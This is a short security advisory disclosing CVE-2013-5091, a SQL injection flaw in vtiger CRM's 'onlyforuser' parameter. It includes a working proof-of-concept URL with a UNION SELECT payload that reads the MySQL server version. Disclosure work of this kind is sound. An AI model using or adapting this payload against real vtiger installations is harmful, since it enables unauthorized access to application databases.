Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in vtiger CRM, which can be exploited to execute arbitrary SQL commands in application's database.

1) SQL Injection in vtiger CRM: CVE-2013-5091
The vulnerability exists due to insufficient validation of "onlyforuser" HTTP GET parameter passed to "/index.php" script. A remote authenticated user can execute arbitrary SQL commands in application's database.
The following exploitation example displays version of MySQL server:
http://[host]/index.php?action=index&day=22&hour=0&module=Calendar&month=7&o nlyforuser=1%20%20UNION%20SELECT%201,2,3,4,5,6,version%28%29,8,9,10,11,12,13 ,14,15,16,17,18,19,20,1,22,23,24,25,26,27,28,29,30,31,32%20--%20&parenttab=M y%20Home%20Page&subtab=event&view=day&viewOption=hourview&year=2013
